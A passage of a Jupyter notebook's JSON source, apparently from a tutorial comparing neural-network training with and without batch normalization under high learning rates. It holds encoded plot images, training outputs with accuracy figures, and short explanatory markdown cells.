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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f91afbf2518>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We've already seen that ReLUs do not do as well as sigmoids with higher learning rates, and here we are using an extremely high rate. As expected, without batch normalization the network doesn't learn at all. But with batch normalization, it eventually achieves 90% accuracy. Notice, though, how its accuracy bounces around wildly during training - that's because the learning rate is really much too high, so the fact that this worked at all is a bit of luck." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 2, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 19, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1401.19it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9093997478485107\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 532.22it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9613996744155884\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9066000580787659\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9583001136779785\n" ] }, { "data": { "image/png": "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